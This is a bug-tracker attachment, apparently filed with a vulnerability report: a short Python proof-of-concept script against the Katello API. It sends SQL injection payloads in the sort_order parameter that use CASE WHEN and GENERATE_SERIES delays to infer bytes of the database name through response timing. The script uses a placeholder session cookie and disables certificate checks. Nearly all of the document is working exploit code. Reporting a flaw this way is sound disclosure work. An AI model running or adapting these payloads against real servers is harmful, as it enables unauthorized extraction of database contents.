Project

General

Profile

Bug #14381 » katello_sqli.py

Justin Sherrill, 03/29/2016 01:15 PM

 
import requests
import time


session = requests.Session()

paramsGetFalse = {"search":"","full_result":"true","available_for":"sync_plan","page":"1","sort_by":"name","sort_order":"ASC,(SELECT CASE WHEN(select GET_BYTE((SELECT current_database())::bytea,0))>255 THEN((SELECT COUNT(*)FROM GENERATE_SERIES(1,100000000)))ELSE(0)END); --"}
paramsGetTrue = {"search":"","full_result":"true","available_for":"sync_plan","page":"1","sort_by":"name","sort_order":"ASC,(SELECT CASE WHEN(select GET_BYTE((SELECT current_database())::bytea,0))>0 THEN((SELECT COUNT(*)FROM GENERATE_SERIES(1,100000000)))ELSE(0)END); --"}
headers = {"If-None-Match":"\"99f3e81df5531f7e48416287f6ca5666-gzip\"","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0) Gecko/20100101 Firefox/45.0","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate, br"}
cookies = {"timezone":"America%2FLos_Angeles","_session_id":"ADDYOURSESSIONCOOKIE"}



# False Statement
print "###########"
print "Sending False statement (no time delay)"
print "##########"

start = time.time()
response = session.get("https://x.x.x.x/katello/api/v2/organizations/1/sync_plans/1/products", params=paramsGetFalse, headers=headers, cookies=cookies, verify=False)
end = time.time()
passed = end - start
print "--- %s seconds ---" % (passed)
print "Status code:", response.status_code
print "Response body:", response.content

# True Statement
print "###########"
print "Sending True statement (time delay)"
print "##########"

start = time.time()
response = session.get("https://x.x.x.x/katello/api/v2/organizations/1/sync_plans/1/products", params=paramsGetTrue, headers=headers, cookies=cookies, verify=False)
end = time.time()
passed = end - start
print "--- %s seconds ---" % (passed)
print "Status code:", response.status_code
print "Response body:", response.content
(1-1/4)